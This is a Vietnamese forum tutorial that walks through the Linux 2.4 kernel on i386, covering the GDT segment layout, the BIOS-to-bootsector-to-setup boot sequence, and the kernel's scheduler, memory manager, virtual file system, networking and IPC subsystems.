Nếu bạn choáng về sự phức tạp của chế độ protected mode (thực ra còn nhiều nữa), thì may mắn cho bạn cho tôi và cho cả lập trình viên Linux là không ai mà implement hết. Giống Windows, Linux cũng làm protected mode đơn giản thôi chỉ có 2 mức 0 cho Kernel và 3 cho User Application. Vấn đề là tương thích với các kiến trúc CPU khác nữa. Tất cả các phân đoạn của Linux dùng GDT không cần LDT. Có duy nhất 1 bảng GDT bao gồm:
1. Null
2. Kernel Code Segment: Chứa code của kernel. Base=0. Limit=0xFFFF. G=1. S=1. Type=A có thể đọc và thi hành (không modify được). DPL=0 Kernel mode only.
3. Kernel Data Segment: Chứa dữ liệu kernel. Base=0. Limit=0xFFFF.G=1.S=1. Type=2 có thể đọc và ghi (không thi hành được). DPL=0
4. User Code Segment: Chứa code segment cho tất cả user proccess. Base=0. Limit=0xFFFF.G=1.S=1. Type=A. DPL=3
5. User Data Segment: Chứa data segment cho tất cả user process. Base=0. Limit=0xFFFF.G=1.S=1. Type=2. DPL=3
6. Default null LDT
7. Ngoài ra còn 4 segment cho APM (advenced power mangement) , 4 segment để dành.
8. Mỗi process sẽ có 1 TSS Segment ở đây: Base lúc này sẽ là địa chỉ của bảng ghi process đó. G=0. Limit=236 vậy mỗi đoạn sẽ có 236 bytes. DPL=0 kernel only. Mỗi process có 1 LDT segment. Default là null để chỉ rằng không dùng LDT. Ai thích dùng thì phải tự viết. GDT có tối đa 2^13 là 8192 mục. Trừ 14 mục system là còn 8178 /2= 4089 process. Như vậy Linux không thể có hơn 4089 proccess.
Sau khi tìm hiểu về cấu trúc của kernel, chúng ta bắt đầu đi vào phân tích code. Tài liệu này dựa trên Linux Kernel 2.4 Internal + kinh nghiệm hệ thống.
Chúng ta bắt đầu từ lúc ấn vào nút power khởi động máy tính.

Booting (khởi động)
Ở đây ta chỉ phân tích cho hệ thống máy tính PC i386 còn các loại khác thì không biết smilie
Có 6 bước khởi động máy tính
1. Chương trình BIOS chọn thiết bị boot
2. Chương trình BIOS đọc bootsector từ thiết bị boot lên bộ nhớ
3. Quyền điều khiển chuyển qua cho chương trình bootsector, chương trình này đọc tiếp phần setup , các chương trình giải nén và kernel image đã được nén
4. Kernel sẽ được giải nén ở trong protected mode
5. Khởi động mức thấp bởi assembly code
6. Khởi động mức cao cho C code

Bước 1: BIOS POST (Khởi động của BIOS)
Theo bản thiết kế đầu tiên của máy tính – máy Turing, máy tính là 1 thiết bị cho phép chạy đúng 1 chương trình thôi. Các máy tinh Casio chẳng hạn cũng chạy 1 chương trình calculator. Các máy tinh chạy băng giấy cũng vậy bạn nạp chương trình bằng tay vào chạy kết thúc rồi lại nạp chương trình khác. Bản thân máy PC Pent4 hiện đại nhất cũng vậy cũng chỉ cho phép chạy đúng 1 chương trình thôi. Tuy nhiên chương trình này có khả năng nạp những chương trình khác lớn hơn phức tạp (khác với việc nạp tay như hồi xưa) hơn rồi chuyển quyền điều khiển cho chúng để tiếp tục những dòng lệnh thực thi không ngừng cho đến khi tắt máy tính. Chương trình ban đầu này được gọi là chương trình khởi động, để thuận tiện người ta nạp nó vào con BIOS và gắn chung vào hệ thống PC.
Mục đích của chương trình khởi động là nạp cho được chương trình hệ điều hành (OS). OS sẽ là chương trình lập vô tận (infinite loop) nó chờ lệnh của user để nạp các chương trình ứng dụng , khi các chương trình ứng dụng kết thúc thì quyền thực thị trả về cho OS ... OS lại tiếp tục chờ để nạp chương trình khác. Vậy từ khả năng chỉ chạy được 1 chương trình người ta đã phát minh ra hệ điều hành là 1 chương trình cho phép nạp tự động những chương trình khác giúp cho máy tính có khả năng to lớn hơn.
BIOS -----> OS --------> Application
...................|____________|

a. Khi bật điện, Bộ nguồn sẽ chạy bộ tạo xung (đồng hồ nhịp - tốc độ Hetz của memboard phục thuộc vào đồng hồ này), và tín hiệu POWERGOOD được gởi vào bus báo cho các thiết bị trong PC.
b. Đồng thời đường #RESET của CPU on, CPU khởi động ở real mode(8086)
c. Các thanh ghi %ds=%es=%fs=%gs=0, %cs=0xFFFF, %ip=FFF0
d. Chương trình kiểm tra thiết bị chạy (giá trị RAM chạy vèo vèo trên màn hình)
e. Bảng interrupt được khởi động tại 0
f. Chương trình BIOS Bootstrap Loader chạy qua int 0x19 %dl=dsố hiệu ổ đĩa khởi động. Chương trình này tải track 0 sector 1 (boot sector) lên địa chỉ 0x7C00

Giài thích:
Ở đây là những từ kĩ thuật về cấu trúc máy tính , tôi không tiện giải thích cặn kẽ vì sẽ tốn rất nhiều thời gian.

Bootsector và phần setup
Đĩa cứng và đĩa mềm lưu trữ ghi dữ liệu thành từng rãnh (track) là những vòng tròn đồng tâm. Đầu từ của ổ đĩa không đọc hay ghi 1 bit hay 1 byte dữ liệu mà là 1 đoạn trên 1 track, học hình học ai cũng biết 1 đoạn trên 1 đường tròn gọi là cung (sector). Mỗi sector thường lưu trữ được 512 bytes.
Track đầu tiên còn gọi là track 0 trên đĩa mềm được định vị bằng 1 lổ tròn to tướng. Sector đầu tiên sector 1 của track 0 (đánh số hơi bị kì nhưng phải nhớ) gọi là bootsector vì nó sẽ được BIOS tải lên khi boot. Toàn bộ chương trình khởi động mềm 512bytes nằm trong sector này.

Bây giờ hãy download source code linux kernel 2.4 từ site www.kernel.org khoảng 34M không thôi chép từ đĩa cài đặt Linux cũng được.
Mở file: arch/i386/boot/bootsect.S. Đây là source code viết bằng ngôn ngữ assembly cho Linux bootsector .

Ở đây các programmer Linux chú thích khá kĩ (không như các source code của Vietnam smilie).
1. Chép 512 bytes bootsector từ vị trí khởi đầu mà BIOS POST tải lên 0x7C0:0 đến ví trí cuối cùng của vùng nhớ qui ước 0x9000:0, rồi jmp tới đó. Chổ này chưa hiểu ý định của người lập trình vì chương trình khởi động của DOS không làm vậy. Có lẽ vùng nhớ 0x7C00 nhanh chóng sẽ bị chép đè bởi các chương trình tải lên sau.
2. Stack được khỏi động tại khoảng giữa của segment 0x9000
3. Khởi tạo bảng tham số ổ dĩa mới (disk parameters table). Phần cứng của ổ đĩa hoạt động phụ thuộc bảng tham số này. Mặc định có bảng tham số nằm trong BIOS, tuy nhiên nhiều BIOS chỉ set chế độ đọc từng sector. Linux programmer set lại chế độ đọc nhiều sector cũng lúc để tăng tốc độ tải HĐH. Bảng tham số này được chép về ngay dưới đoạn stack (stack chạy ngược lên nên bảo đảm không đụng hàng) gồm 12 bytes. Bytes 0x4 là dữ liệu chứa số sector maxium đọc cùng 1 lúc được patch thành 36 – 36 là số sector trong 1 track của ổ đĩa 2.88M, set cao như vậy nhưng tuy loại ổ đĩa giá trị thực tế sẽ khác; trích từ chú thích của người lập trình “high doesn’t hurt but low does”.
4. Tính toán số sector trên 1 track. Hồi xa xưa đây là phần nhức đầu với các bác viết bootvirus. Gần như không có cách chính xác cái này với cái xác định FAT12 và FAT16. Tuy nhiên cách giải quyết của mấy tay Linux programmer này cũng hay. Lần lựa đọc các sector cao nhất của ổ đĩa. 36 là 2.88M. 18 là 1.44M thường dùng. 15 là 1.2M đĩa to như bánh tráng và 9 là 760K cũng to như vậy như chỉ có 1 mặt thôi. Có điều nếu đĩa 1.44M bị lỗi tại sector 18, chẳng lẽ Linux lại hiểu nó là 1.2M sao smilie, mà kệ hỏng bất cứ sector nào ở track 0 thì coi như vứt.
Lúc này Linux sẽ in dòng chử : “Loading” lên màn hình
5. Chương trình setup của Linux nằm ở các sector tiếp theo bootsector sẽ được tải lên ngay sau bootsector: 0x90200. Số sector cho phần setup mặc định là 4. Mỗi lần đọc 1 track nó in dấu chấm ra màn hình.
6. Tiếp theo chương trình system ở dạng nén(compressed kernel image) sẽ được tải ở vị trí 0x10000 - chừa 64K low memory. Kích thước mặc định là 0x7F00 tính theo đơn vị 16-bytes = 508K. Linux còn có chể độ big-kernel khi này kernel image sẽ vượt quá bộ nhớ qui ước 640K. Khi đó trong code của phần setup có hàm bootsect_kludge nằm tại offset 0x220 chịu trách nhiệm tải kernel vào bộ nhớ cao.
7. Kết thúc quá trình tải setup và system, chương trình setup sẽ được thực hiện tại segment 0x9020

Mở file: arch/i386/boot/setup.S. Đây là source code viết bằng ngôn ngữ assembly cho Linux setup.
1. Phần setup này có thể được tải bởi các loader khác nhau bootsect.S chỉ là loader chuẩn của Linux thôi ngoài ra còn còn LILO hay Loadin v.v. Mở đầu setup check xem nó có được tải đầy đủ không. Nên không nó sẽ cố gắng tải lại cho đủ. Nếu vẫn không được nó đành báo lỗi “loader sai. Pó tay ...”
2. Kiểm tra kích thước bộ nhớ. Nhưng ta đã đề cập bộ nhớ cao của máy tính (từ 640K trở lên) khá phức tạp. Linux dùng 3 cách khác nhau để detect. Cách đầu tiên là E820h, dùng hàm ax=E820, int 15h để kiểm tra. Nếu thất bại dùng hàm ax=E801h, int 15h. Cuối cùng là dùng cách ax=8800h, int 15h đây là cách cổ điển chỉ cho memory dưới 64M.
3. Tiếp theo setup gọi hàm video nằm trong file video.S đây là code assembly để detect chế độ đồ hoạ
4. Lấy disk parameter table của harddisks. Các bảng này nằm trong BIOS, trong quá trình BIOS detect thiết bị hay là bạn set tay trong bảng BIOS. Sau quá trình BIOS POST, vị trí của các bảng này được đặt tại 0smilie4 * 41h) cho hd0 và 0smilie4 * 46h) cho hd1.
5. Check MCA bus bằng hàm c0h của int 15h
6. Check con chuột PS/2 dùng int 11h
7. Check APM bios: cách này không biết
8. Thiết lập protected mode. Chuyển từ real mode sang protected mode smilie khá phức tạp hẹn lần sau á ...
Các cấu trúc dữ liệu hệ thống.
Hệ điều hành Linux hoạt động nhờ vào các dữ liệu này

1. Task list (Danh sách tác vụ)
SCHED lưu 1 bộ dữ liệu cho mỗi tiến trình đang hoạt động. Các bộ dữ liệu này làm thành 1 danh sách liên kết gọi là danh sách tác vụ. SCHED còn có 1 con trỏ current để chỉ tác vụ nào đang active. Theo tôi nghĩ thì các dữ liệu này phải có các giá trị của các thanh ghi của process đó ngay lúc nó bị switch. Khi một tiến trình được active trở phải SCHED sẽ khôi phục các giá trị này.

2. Memory map(Ánh xạ bộ nhớ)
Như giải thích ở trên MM cần 1 ánh xạ từ bộ nhớ vật lý cho bộ nhớ ảo 4G của mỗi tiến trình. Ngoài ra còn các thông tin để chỉ cách lấy và thay cho từng trang cụ thể. Tất cả các thông tin này chứa trong memory map và memory map được chứa trong trong task list.

3. I-nodes
VFS dùng i-nodes để định vị các file. Cấu trúc dữ liệu i-nodes dùng để ánh xạ các file block thành các địa chỉ vật lý ở trường hợp đĩa cứng và đĩa mềm là các sector, cyclinder và head.

4. Data connection
Mô tả network connection đang mở

Tất cả các cấu trúc dữ liệu này đều bắt nguồn từ task list. Mỗi 1 process có một con trỏ chỉ tới cấu trúc memory map, 1 con trỏ chỉ tới danh sách các i-node của các file đang mở cho riêng process đó, và 1 con trỏ chỉ tới danh sách các data connection cho tất cả các network connection đang mở.

Cấu trúc của SCHED
Bây giờ ai cũng biết đây là bộ phận trung tâm của hệ điều hành. Nó chịu trách nhiệm chia sẽ thời gian xử dụng CPU cho tất cả các process , process bình thường cũng như các tiểu hệ thống.

SCHED được chia thành 4 module
1. Module luật định thời (scheduling policy): chịu trách nhiệm phân xử xem process nào được quyền truy xuất CPU. Hệ thống hoạt động có thông suốt hay không nhờ vào bộ luật này, tránh trường hợp 1 process lợi dụng sơ hở của điều luật mà chiếm thời gian hệ thống qua nhiều làm các process khác bị đóng băng (freeze)
2. Module phụ thuộc kiến trúc (architeture-specific): module này gồm các code assembly phụ thuộc vào mỗi loại CPU dùng để suspend hay assume process.
3. Module độc lập kiến trúc (architeture-independent): module gọi các hàm từ module phụ thuộc kiến trúc và module luật để switch giửa các process đồng thời nó còn gọi các hàm ở MM để thiết lập virtual memory cho các process được resume. Nên nhớ module phụ thuộc kiến trúc sẽ khác nhau ở mỗi loại CPU (ỉ386, apha, v.v) nhưng module độc lập kiến trúc thì không đổi kĩ thuật này ai lập trình hướng đối tượng sẽ biết nó là abstract
4. Module hàm gọi hệ thống (system call). Gồm các hàm mà user có thể dùng để tương tác với SCHED. Ai lập trình Linux và Unix sẽ quen với các system call này.

Cấu trúc dữ liệu
Task list: chứa dữ liệu đủ để suspend và resume 1 process. Ngoài ra còn có các dữliệu dùng để thống kê trạng thái hệ thống. Các dữ liệu này được public. Các bạn có thể dùng nó để phân tích hệ thống đang chạy

Cấu trúc MM
MM chịu trách nhiệm điểu khiển tiến trình truy xuất tài nguyên bộ nhớ. Bản thân CPU cũng có một hệ thống quản lý bộ nhớ vật lý mà cho phép ánh xạ giửa bộ nhớ process với bộ nhớ vật lý. MM phải lưu trữ ánh xạ này cho từng process. Thêm vào đó MM còn cho phép swap; nó sẽ di chuyển những trang bộ nhớ không dùng xuống ổ cứng cho phép PC dùng bộ nhớ RAM còn trống.

MM có 3 module
1. Module phụ thuộc kiến trúc: code gọi các lệnh của hệ thống quản lý bộ nhớ của CPU
2. Module độc lập kiến trúc: ánh xạ cho từng process và swap bộ nhớ ảo. Nó cũng quyết định xem phải remove trang nào , load trang nào. Các lập trình viên Linux không thiết kế 1 module policy riêng vì policy cho MM sẽ không thay đổi.
3. System call cho phép các process tác động lên MM bao gồm xin cấp phát vùng nhớ

Cấu trúc VFS
VFS thiết kế để thống nhất cách truy xuất tất cả các thiết bị phần cứng. Ngoài ra VFS còn chịu trách nhiệm load các chương trình thực thi.

Modules
1. Các module thiết bị điều kiển, mỗi một phần cứng sẽ có 1 module thiết bị điều kiển riêng, cái này thường gọi là driver. Linux cũng như các hệ điều hành khác cho phép thêm vào 1 driver mới.
2. Module giao diện độc lập thiết bị. Cái này là abstract cho tất cả các driver
3. Các module hệ thống file logic: Trên thực tế có nhiều hệ thống fiel khác nhau, mỗi hệ thống file có một module điều khiển riêng.
4. Module độc lập hệ thống file: Cái này là abstract không những cho các loại file system mà còn cho tất cả các driver. Ai lập trình driver cho DOS thì có lẽ nhớ chổ này tất cả các driver qui về 2 loại loại block mỗi lần đọc hay ghi đều đi theo block dữ liệu ví dụ nhưng disk và loại kí tự mỗi lần đọc và ghi 1 kí tự như máy in bàn phím v.v
5. Cuối cùng là system call các hàm gọi hệ thống cho VFS

Cấu trúc NET
NET cho phép Linux connect với các hệ thống khác bằng mạng. Ai cũng biết mạng thì rất nhiều loại thiết bị và giao thức mạng. NET abstract tất cả cho phép những phần khác có thể truy xuất qua mạng mà không quan tâm đền các thiết bị và giao thức được sử dụng

NET có 5 module
1. Các Driver cho thiết bị mạng, mỗi module cho mỗi loại thiết bị
2. Module độc lập thiết bị: abstract tất cả các thiết bị mạng
3. Các Module giao thức mạng: mỗi module cho mỗi loại giao thức truyền
4. Module độc lập giao thức mạng: abstract cho tất cả các module giao thức mạng và các driver.
5. System call

Kết luận:
Hột nhưng Linux được xây dựng theo các khái niệm hệ điều hành thông thường thôi, tuy nhiên các programmer của Linux cố gắng phân chia thành nhiều lớp, Lớp sau là abstract cho lớp trước. Cách này cho phép nhiều người khác nhau cùng làm việc trên các phần khác nhau mà hệ thống vẩn đảm bảo tính thống nhất và ổn định.

Okê phần này chủ yếu dịch từ Conceptual Architecture of the Linux Kernel http://plg.uwaterloo.ca/~itbowman/CS746G/a1/. Tức là cấu trúc khái niệm. Chúng ta sẽ đi sâu vào chi tiết ở các phần sau. Không thấy ai đọc và có ý kiến chẳng lẽ mình nói đúng hết hixhixhix, phần này hơi khó đây.
Tác giả: Vol2

Hột nhưng(kernel) của Linux gồm 5 tiểu hệ thống chính:


1. Bộ phân thời cho tiến trình (Process Scheduler-SCHED): như bạn biết về cơ bản PC vẫn là một hệ thống xử lý đơn tức là chỉ có 1 lệnh thực thi tại một thời điểm. Tuy nhiên các hệ điều hành đa nhiệm(multi-task) như Windows, Linux v.v đều cho phép nhiều chương trình chạy cùng một lúc. Làm sao chúng làm được như vậy? Bằng cách chuyển quyền thực thi qua lại giữa các chương trình thật nhanh làm cho chúng ta có cảm giác các chương trình chạy cùng lúc với nhau. Ví dụ bạn vừa đánh Winword vừa chơi Winamp thì thật ra SCHED sẽ chạy Winword 5,10 lệnh xong chuyển qua Winamp 5,10 lệnh rồi chuyển lại v.v Việc này cực kì nhanh nên bạn không có cảm giác gì.
Hệ điều hành MSDOS ngày xưa thật sự là hệ điều hành đơn nhiệm, tuy nhiên bạn vẫn có thể bẩy ngắt 1Ch (hook interrupt) để giả lập đa nhiệm. Interrupt 1Ch thực chất được Timer IRQ (6 hay 8 gì quên mất rồi) gọi. Timer IRQ là một ngắt cứng tức là tín hiệu do bộ phát xung gởi tới CPU. Mặc định là 1/13 giây 1 lần bộ phát xung này gởi 1 tín hiệu IRQ đến CPU. Khi đó CPU sẽ ngưng lệnh đang thi hành chuyển qua xử lý ngắt. Timer IRQ sau đó sẽ gọi ngắt 1Ch. Nếu bạn viết 1 chương trình con hook int 1Ch, thì bạn sẽ có cảm tưởng nó chạy song song với chương trình chính (thật ra 1/13s nó mới chạy 1 lần). Ứng dụng cái này tôi có viết một chương trình chạy banner trong màn hình DOS, hay chương trình ping pong gồm 1 hay nhiều trái tim chạy va đập vào các cạnh của màn hình, trong khi vẫn chạy DOS.
Các hệ điều hành đa nhiệm sau này đều xử dụng nguyên tắc này để làm SCHED. Tuy nhiên 1/13s thì không đủ nhanh để switch qua nhiều tiến trình nhưng xài hàm của BIOS ta có thể tăng tốc cho SCHED 1/100s 1 lần chẳng hạn.

2. Bộ quản lý bộ nhớ (Memory Manager-MM): bộ nhớ qui ước (conventional memory) của PC chỉ có 640K thôi. Do chương trình BIOS chỉ quản lý được tới FFFFF, mà vùng nhớ cao (High memory từ A0000 trở lên) dùng để ánh xạ (map) BIOS, Video card memory và các thiết bị ngoại vi khác, vùng nhớ còn xài được (Low memory) là từ 9FFFF trở xuống. Dùng calculator đổi 9FFFF ra decimal bạn sẽ có đúng 640K smilie). Chắc bạn ngạc nhiên hỏi rằng cây RAM 512M mua hết $70 của tôi biến đâu mất rồi??? Hihihi nó bây giờ teo lại còn có 1 page 64K trong vùng nhớ cao. Tuy nhiên bạn có thể thay đổi ánh xạ để truy xuất hết 512M. RAM card màn hình cũng tương tự như vậy. Ở chế độ bảo vệ (protect mode) của CPU 32bít đưa ra khái niệm virtual memory (bộ nhớ ảo). Lúc này mỗi process được cấp cho 4G virtual memory từ 00000000-FFFFFFFF. Nhưng kernel sẽ giữ 1 table mô tả ánh xạ từng page của virtual memory với physical memory. Physical memory bây giờ bao gồm cả RAM và swap disk space. Tất nhiên là 4G virtual memory không bao giờ được ánh xạ đầy đủ (ánh xạ hết lấy gì cho mấy process khác chạy). Phần lớn mặc dù có đánh địa chỉ , nhưng chỉ khi bạn đọc hoặc ghi lên đó thì kernel mới allocate từ physical memory.

3. Hệ thống file ảo (Virtual File System – VFS) Hệ thống này không chỉ cung cấp truy xuất đến hệ thống file trên harddisk mà còn cho tất cả các thiết bị ngoại vi. Nếu như Triump tất cả là thời trang thì ta có thể nói ở Linux tất cả là file. Ý tưởng này bắt nguồn từ Unix và các hệ điều hành sau này điều thiết lập theo hướng đấy. Đừng quên là trong DOS bạn dùng copy xxx con để in file xxx ra màn hình. Khi đó “con “ là filehandler cho thiết bị xuất chuẩn (console).

4. Giao diện mạng (Network Interface-NET). Linux dựng sẳn TCP/IP trong kernel. Do DOS không có cái này nên tui chưa hiểu rõ lắm.

5. Bộ truyền thông nội bộ (Inter-process communication IPC) cung cấp các phương tiện truyền thông giữa các tiến trình trong cùng hệ thống Linux. Chúng ta sẽ cùng nhau tìm hiểu sau.
 

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|